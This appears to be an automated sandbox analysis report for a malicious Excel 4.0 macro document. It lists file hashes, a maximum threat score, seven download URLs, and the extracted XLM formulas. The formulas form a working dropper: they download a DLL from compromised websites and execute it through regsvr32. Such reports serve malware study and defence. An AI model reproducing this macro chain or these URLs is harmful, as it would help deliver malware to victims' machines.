c589ab74edd949edb7f6946d7f6f69b5c3c8207fedc5eb9cabf1bb8bb0ff9e22

General

Target

c589ab74edd949edb7f6946d7f6f69b5c3c8207fedc5eb9cabf1bb8bb0ff9e22
Size

122KB
Sample

241120-pgw5ysxckn
MD5

3d354c4b08b4c3705c8accc4ee798a87
SHA1

660551774ad61a2419c2359118401e93186966b9
SHA256

c589ab74edd949edb7f6946d7f6f69b5c3c8207fedc5eb9cabf1bb8bb0ff9e22
SHA512

917f717e0a6a539d1aabd842c01fb2f22865219b3ddf963d09361f0178d87a478da82fad54769c508a15d4b03a92d4de822c827e15be527fa2387e3e995293c6
SSDEEP

3072:QfCABRIc/arWmzgyYTnYNelISKXhsVskl4Ojkk:QfLBRzSTgyYz5p6cQk

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://www.bookcorner.com.pk/admin/k6J281rll/

https://www.almoeqatar.com/cgi-bin/ktGPwFvtgWUvu/

https://appleinfoway.com/venv/fn6foVa/

https://aopda.org/wp-content/uploads/5DO33Xrj3cIc7/

https://almoiz.com/urdu/pw8kn/

https://www.awam.be/wp-admin/oSNi/

https://www.littleplanetclass.com/assets/PLEPX0R1/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bookcorner.com.pk/admin/k6J281rll/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.almoeqatar.com/cgi-bin/ktGPwFvtgWUvu/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appleinfoway.com/venv/fn6foVa/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aopda.org/wp-content/uploads/5DO33Xrj3cIc7/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://almoiz.com/urdu/pw8kn/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.awam.be/wp-admin/oSNi/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.littleplanetclass.com/assets/PLEPX0R1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.bookcorner.com.pk/admin/k6J281rll/